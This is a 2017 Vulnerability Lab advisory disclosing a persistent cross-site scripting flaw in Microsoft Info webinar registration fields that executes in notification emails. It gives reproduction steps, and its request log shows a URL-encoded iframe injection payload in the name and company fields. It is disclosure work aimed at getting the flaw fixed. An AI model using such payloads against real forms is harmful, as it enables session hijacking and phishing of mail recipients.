Microsoft Info - Filter Bypass & Persistent Vulnerability

Document Title:
===============
Microsoft Info - Filter Bypass & Persistent Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2023

MSRC ID: TRK:0901002416



Release Date:
=============
2017-09-06


Vulnerability Laboratory ID (VL-ID):
====================================
2023


Common Vulnerability Scoring System:
====================================
3.8


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Microsoft Corporation (commonly referred to as Microsoft or MS) is an American multinational technology company headquartered in Redmond, Washington, 
that develops, manufactures, licenses, supports and sells computer software, consumer electronics and personal computers and services. Its best known 
software products are the Microsoft Windows line of operating systems, Microsoft Office office suite, and Internet Explorer and Edge web browsers. 
Its flagship hardware products are the Xbox video game consoles and the Microsoft Surface tablet lineup. As of 2011, it was the world's largest 
software maker by revenue, and one of the world's most valuable companies.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Microsoft )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation web vulnerability in the microsoft info online service web-application.


Vulnerability Disclosure Timeline:
==================================
2017-09-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corporation
Product: Info - Cloud Online Service (Web-Application) 2016 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent input validation and mail encode web vulnerability has been discovered in the microsoft info online service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side to compromise the vulnerable module or function.

The security vulnerability is located in the `firstname` and `lastname` input fields of the info microsoft webinar events formular. The basic validation 
procedure of the web formular is not secure parsed, thus allows remote attackers to inject malicious script codes to the firstname and lastname input fields 
of the registration formular. After the registration the wrong encode payload executes within the email notify of the [email protected] online service 
web-application. The injection point are the input formular of the azure application. The execution point occurs in the outgoing email notify of the microsoft 
for sharepoint, azure, office and co. The attack vector of the issue is persistent and the request method to inject is POST. The vulnerability is a server-side 
issue that occurs because of a missing validation process. The issue could also have an effect to the webinar application front/backend. Attackers are able to 
register random emails to deliver malicious persistent manipulated email to any random targeted microsoft user. Due to the email is also available as html on 
the page by opening a browser link, the issue can be exploited with domain conditions on the microsoft info domain.

The security risk of the persistent validation vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires no privilege web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources and 
persistent manipulation of affected or connected service module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Registration

Vulnerable File(s):
[+] Registration.html

Vulnerable Parameter(s):
[+] Firstname
[+] Lastname


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability and mail encode issue can be exploited by remote attackers without privilege web-application user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the registration formular website for the azure event (marketo form)
2. Include to the firstname and lastname your script code payload for the testings
3. Save the entry and process the POST method request to register
4. Move inside the email postbox and have a look to the arriving email
5. The serivce emails of the webinar registration delivered over the [email protected] service to your inbox execute the code directly
6. Now the attacker can as well open the link that requests the same content via html on the original microsoft website
7. Successful reproduce of the persistent input validation and mail encode issue!


PoC: Exploitation
microsoft azure -mail encode vulnerability registration events
https://info.microsoft.com/DE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_Registration.html?wt.mc_id=AID533899_QSG_PD_SCL_27910

https://info.microsoft.com/DE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_ThankYouPage.html?aliId=237772136

https://info.microsoft.com/index.php/email/emailWebview?mkt_tok=eyJpIjoiWlRoak5tUTBOR0ZtTkRNMiIsInQiOiJVQzBTck5yZEhJN0xyR3ZHbDlRSWN2WTlsR1M4YVdrT0lreVJVMDBGZWwzd1AyRFNWT2VHamV0N2ZuYVdVOGhKOHIyZXJjTUxTTGNrb3dLT1lFNmRBb2tMbGF3K2dBaHFZTkRLQ3AvRlZTNUx0Q1JwSHlaRDdhbzhBaGx3Z3JRViJ9

http://emails.microsoft.com/ol/j0hYeMLJIlxQsRp74v-LLbrimSHEf5Wptbh-DPny190c3Fx_cfncLAy-2YUESsF_KKTMVVRIQcYs0B5XHq3YMdIYr6cLXwe_Szz2hPyKKYlHdekjmtJvovjj3WkB99yGn1XCKUoYT315cA-SZ_IzgT6pM58uGRaO_iaUYdJzzHhf0fsBzoa5fO7yvTU,/jE9TeMTLI1lNoVdlsbPWK6frkHvNc5u6tK9yD-Oo0cAzlkFwdunXdlHnmJxUEZM7aaabDAMZH6dkwhpRH_fKcYtUxeFSABy3QRHvqavVZrlCQ5p26s11y6Wx900Jj8e1pnbnC2wnU1hiVQ-yYJYyhW3rGpMEaQiq8VbbG7B3yBIFq7AB_reyUobgqVjw007o4D2kBgNHzu_J3w25ArNTofMNqXIq-EEcLbWkzRHi0IspmzQ_-LV8uCtnz_5-LN1qxxDYWxPzzqSqX_hAZ5-gp9TipNIOPi0FktwIVj77PmmWHNqrYy573B-5ww80Ax1dEBpjMOIApCGIl1N0Je8XcgeGyy0p6jsP7Zpv366hmQGnQm_ZNBrspDWZ4QuqG7IBkk6lrYwW9SvwaDPA3PtEYmClWsHTiReAdbqU



PoC: Vulnerable Source
<table width="600" border="0" cellpadding="0" cellspacing="0" align="center" class="deviceWidth" ><tr ><td class="td-pad" width="100%" 
bgcolor="#FFFFFF" style="padding:30px 30px 15px 30px; font-family:'Segoe UI',Arial,sans-serif; font-size:12px; line-height:20px; color:#333; 
" ><div class="mktEditable" id="Body" ><p>Congratulations, "><MALICIOUS FIRSTNAME PAYLOAD EXECUTE>%20>"<MALICIOUS LASTNAME PAYLOAD EXECUTE>!</p>
<p>Below is your link to the on-demand webcast, <b>Collaboration made easy with Office 365.</b></p>
<p>We hope you enjoy the program.</p>



--- PoC Session Logs ---
15:20:38.166[1197ms][total 1197ms] 
Status: 200[OK]
POST https://info.microsoft.com/index.php/leadCapture/save2 
Mime Type[application/json]
   Request Header:
      Host[info.microsoft.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[https://info.microsoft.com/DE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_Registration.html?wt.mc_id=AID533899_QSG_PD_SCL_27910]
      Content-Length[1030]
      Cookie[BIGipServersj12web-app_https=!hiDX5IfDRfHVU6NEgmpKKdFIW06sxHwRGWg3amteDR8C91bRXfaqNMy/M9hYussHBaMfkvCoZoTZ5OY=; _mkto_trk=id:157-GQE-382&token:_mch-microsoft.com-1481811380016-93753; MSFPC=ID=40d3518f02fd704ea9d79408d50b8c41&CS=1&LV=201612&V=1; MC0=1481811381191; MC1=GUID=c3b50bf131afa74e9f5af95b410845a9&HASH=f10b&LV=201612&V=4&LU=1481811381899; MS0=3b96381d0f544801aff014d21b28e359; A=I&I=AxUFAAAAAABEBwAA/wMJi8pHKE5zoCi/rN2UrA!!&V=4]
      Connection[keep-alive]
   POST-Daten:
      FirstName[%22%3E%3Ciframe%3E%2520%3E%22%3Ciframe%20src%3Da%3E]
      LastName[%22%3E%3Ciframe%3E%2520%3E%22%3Ciframe%20src%3Da%3E]
      Email[admin%40evolution-sec.com]
      Phone[032567278562938519]
      Company[%22%3E%3Ciframe%3E%2520%3E%22%3Ciframe%20src%3Da%3E]
      Title[IT%20or%20Technical%20Manager]
      Country[Germany]
      SystemContactPreferenceMirrorOptIn[Yes]
      SystemContactPreferenceMirrorOptOut[Yes]
      ce_language[German]
      LeadSource[Webinar]
      ce_leadsourcedetail[]
      wTmcid[]
      systemFormsLanguageLocaleProduct[DE-DE-Azure]
      formid[2337]
      lpId[101017]
      subId[13]
      munchkinId[157-GQE-382]
      lpurl[%2F%2Finfo.microsoft.com%2FDE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_Registration.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
      followupLpId[101019]
      cr[]
      kw[]
      q[]
      _mkt_trk[id%3A157-GQE-382%26token%3A_mch-microsoft.com-1481811380016-93753]
      formVid[2337]
      _mktoReferrer[https%3A%2F%2Finfo.microsoft.com%2FDE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_Registration.html%3Fwt.mc_id%3DAID533899_QSG_PD_SCL_27910]
   Response Header:
      Date[Thu, 15 Dec 2016 14:20:39 GMT]
      Server[Apache]
      Access-Control-Allow-Origin[*]
      x-content-type-options[nosniff]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[181]
      Connection[Keep-Alive]
      Content-Type[application/json; charset=utf-8]
-
15:20:39.367[2050ms][total 2663ms] 
Status: 200[OK]
GET https://info.microsoft.com/DE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_ThankYouPage.html?aliId=237772136 
Mime Type[text/html]
   Request Header:
      Host[info.microsoft.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://info.microsoft.com/DE-Azure-WBNR-FY17-09Sep-09-Big-Data-ein-Allheilmittel-fuer-alle-Datenprobleme-247691_Registration.html?wt.mc_id=AID533899_QSG_PD_SCL_27910]
      Cookie[BIGipServersj12web-app_https=!hiDX5IfDRfHVU6NEgmpKKdFIW06sxHwRGWg3amteDR8C91bRXfaqNMy/M9hYussHBaMfkvCoZoTZ5OY=; _mkto_trk=id:157-GQE-382&token:_mch-microsoft.com-1481811380016-93753; MSFPC=ID=40d3518f02fd704ea9d79408d50b8c41&CS=1&LV=201612&V=1; MC0=1481811381191; MC1=GUID=c3b50bf131afa74e9f5af95b410845a9&HASH=f10b&LV=201612&V=4&LU=1481811381899; MS0=3b96381d0f544801aff014d21b28e359; A=I&I=AxUFAAAAAABEBwAA/wMJi8pHKE5zoCi/rN2UrA!!&V=4]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Date[Thu, 15 Dec 2016 14:20:40 GMT]
      Server[Apache]
      p3p[CP="CAO CURa ADMa DEVa TAIa OUR IND UNI COM NAV INT"]
      Vary[*,Accept-Encoding]
      x-content-type-options[nosniff]
      Content-Encoding[gzip]
      Content-Length[3321]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]


Solution - Fix & Patch:
=======================
Parse the input fields and disallow the usage of special chars. Encode the vulnerable firstname and lastname parameters 
within the html email body of the marketo service. Include the emails to the cloud office proxy that is in use as well for the 
original office365 service application as well.

Exclude the marketo application because the parse of there api is not correctly processing or validating. We did discovered the 
same issue within the original microsoft cloud office services in 2012/2013. There is no reason to use the marketo form to process 
customer webinars, use the basic function of the office cloud and email to info.


Security Risk:
==============
The security risk of the persisten input validation and mail encode issue in the azure, email.microsoft  and microsoft info service is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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